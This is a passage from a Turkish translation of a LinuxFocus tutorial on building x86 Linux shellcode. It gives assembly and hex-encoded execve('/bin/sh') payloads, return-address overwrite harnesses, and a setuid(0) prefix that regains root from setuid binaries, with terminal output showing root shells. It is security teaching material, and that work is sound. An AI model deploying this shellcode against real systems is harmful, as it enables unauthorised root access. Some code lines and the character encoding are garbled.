call talimatýný çaðýrýrken CPU geri dönüþ adresini yýðýtta saklar ve bu adres call talimatýný takip eder. Genellikle, bir sonraki adým yýðýt bölümünde saklanmaktadýr (özellikle %ebp kaydý ile birlikte push %ebptalimatý) Geri dönüþ adresini almak için subroutine içine girildiðinde pop talimatýnýn yýðýt halinden çýkarýlmasý yeterlidir.Elbette "/bin/sh" string'ini saklamamýz gereklidir :

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

Elbette subroutine gerçek deðildir: execve() çaðrýsý baþarýr ve uygulama kabukla yer deðiþtirir veya baþarýsýzlýða uðrar ve _exit() fonksiyonu programý sonlandýrýr. %esi kaydý bize "/bin/sh" string adresini verir.Daha sonra bir array inþa etmek string'ten sonra getirmekle mümkündür :

     popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

6 diyagramý veri alanýný gösterir :

Diag. 6 : data array
data area
 

Null bytes problemi

Savunulmasý zor fonksiyonlar genellikle string yönetimi ile ilgili olanlar örneðin strcpy()'dir.Hedef uygulamanýn tam ortasýna kodu yerleþtirmek için kabuk kodu string þeklinde kopya edilmesi gereklidir.Bununla birlikte bu kopyalar null karakterini bulur bulmaz hemen duracaktýr.Daha sonra bizim kodumuz olmayacaktýr.Birkaç oyun kullanarak null byte'larýný yazmayý engelleyebiliriz.Örneðin talimat

    movl $0x00, 0x0c(%esi)

will be replaced with
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

Bu örnek null byte'ýnýn kullanýlýþýný gösteriyor.Bununla birlikte bazý talimatlarýn heksedesimale çevirileri ortaya çýkmaktadýr.Örneðin _exit(0) sistem çaðrýsý ve diðerleri arasýnda ayrým yapmakm için %eax kayýt deðerinin 1 olmasý gereklidir.

Diðer yandan "/bin/sh" string'i null byte ile son bulmasý gerekmektedir.Biz kabuk kodunu oluþtururken bir tane koyabiliriz fakat bu programýn içine konacak mekanizmaya baðlýdýr.Bu null byte son uygulamada görünmeyebilir :

    /* movb only works on one byte */
    /* this instruction is equivalent to */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

 

Kabuk kodunun inþaasý

Þimdi kabuk kodunu oluþturmak için herþeye sahibiz :

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* Getting /bin/sh address*/
        popl %esi
    /* Writing it as first item in the array */
        movl %esi,0x8(%esi)
    /* Writing NULL as second item in the array */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* Putting the null byte at the end of the string */
        movb %eax,0x7(%esi)
    /* execve() function */
        movb $0xb,%al
    /* String to execute in %ebx */
        movl %esi, %ebx
    /* Array arguments in %ecx */
        leal 0x8(%esi),%ecx
    /* Array environment in %edx */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

"gcc -o shellcode4 shellcode4.c" ile kod derlenir. "objdump --disassemble shellcode4" komutu yardýmýyla bizim binary'imiz (ikili tabanýmýz) daha fazla null byte tutmazlar :

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

Veri 80483c1 adresinden sonra gelir ve talimatlarý ifade etmez, fakat "/bin/sh" string karakterleri (in hexadécimal, sýra 2f 62 69 6e 2f 73 68 00)ve rasgele byte'lar.Kod baþka sýfýr tutmaz sadece null karakterini tutar string'in sonunda 80483c8.

Þimdi programýmýzý test edelim :

$ ./shellcode4
Segmentation fault (core dumped)
$

Ooops!Çok iyi bir sonuç deðil.Eðer bit þeklinde düþünürsek hafýza alanýnýndaki main() fonksiyonu buluruz.(örneðin text alanýndan bahsedildimakalenin baþýnda) sadece-oku.Kabuk kodu bunu deðiþtiremez.Ne yaapabiliriz kabuk kodunu test etmek için?Sadece-oku problemini çözmek için kabuk kodu veri alanýna konulmasý gereklidir. Gelin bir array koyalým global deðiþken gibi davranan.Bir baþka oyun da kabuk kodunu çalýþtýrabilsin main() fonksiyonu ile yýðýtta bulunan geri dönüþüm adresini deðiþtirelim.Unutmayýn ki main fonksiyonu bir "standard" rutindirve kodun bir parçasý olarak tanýmlanýr.Geri dönüþ adresi karakterlerin array'leri yýðýtýn en altýnda yer aldýðý zaman tekrar yazýlýr.

   /*
shellcode5.c */
  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 will behave as a 2 words offset */
      /* (i.e. 8 bytes) to the top of the stack : */
      /*   - the first one for the reserved word for the
             local variable */
      /*   - the second one for the saved %ebp register */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

Now, we can test our shellcode :

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

Hatta shellcode5 programýný da yükleyelim.UID root kuralým ve kabuðu dataileb kontrol edelim :

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

 

Genelleme ve son ayrýntýlar

Bu kabuk kodu bir bakýmdan sýnýrlýdýr (evet, kötü deðil biraz byte ile).Örneðin,test programýmýz þöyle olursa :

   /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
uygulamanýn UID etkilerini sabitledik daha önceki makalede belirttiðimiz gibi.Þimdi kabuk ayrýcalýksýz çalýþabilir :
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

Bununla birlikte seteuid(getuid()) talimatý koruma için çok etkili deðildir. setuid(0); kaydý kabuk kodunun baþlangýcýna eþtir doðru linkleri EUID'ye almak için :

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

Bunu bizim daha önceki kabuk koduna indirgediðimizde örneðimiz :
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
Þimdi nasýl çalýþtýðýný kontrol edelim :
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

Son örnekte görüldüðü gibi kabuða fonksiyon eklemek mümkündür. ,örneðin dizinden çýkmak için chroot() fonksiyonu kullanmak gereklidir veye soket kullanarak uzaktan kabuða ulaþmak gereklidir.

Bu tip deðiþiklikler bazen bazý byte'larýn deðerine adapte olmayý ima eder. :

eb XX <subroutine_call> XX = number of bytes to reach <subroutine_call>
<subroutine>:
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = position of the second item in the array, here, having a NULL value.
88 46 XX movb %al,XX(%esi) XX = position of the end of string '\0'.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = offset to reach the first item in the argument array and to put it in the %ecx register
8d 56 XX leal XX(%esi),%edx XX = offset to reach the second item in the argument array and to put it in the %edx register
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian)
 

Sonuç

Yaklaþýk 40 byte program yazdýk ve bunlar harici komutlarla çalýþabilirler. Son örneklerimiz yýðýtlarýn nasýl parçalanabildiði konusunda fikir vermektedirler.Bu mekanizma üzerindeki ayrýntýlar bir sonraki makalede yer almaktadýr...

 

Bu yazý için görüþ bildiriminde bulunabilirsiniz

Her yazý kendi görüþ bildirim sayfasýna sahiptir. Bu sayfaya yorumlarýnýzý yazabilir ve diðer okuyucularýn yorumlarýna bakabilirsiniz.
 talkback page 

Görselyöre sayfalarýnýn bakýmý, LinuxFocus Editörleri tarafýndan yapýlmaktadýr
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Burayý klikleyerek hatalarý rapor edebilir ya da yorumlarýnýzý LinuxFocus'a gönderebilirsiniz
Çeviri bilgisi:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en GeorgesTarbouriech
en -> tr Coþkun Demirboða

2001-03-17, generated by lfparser version 2.9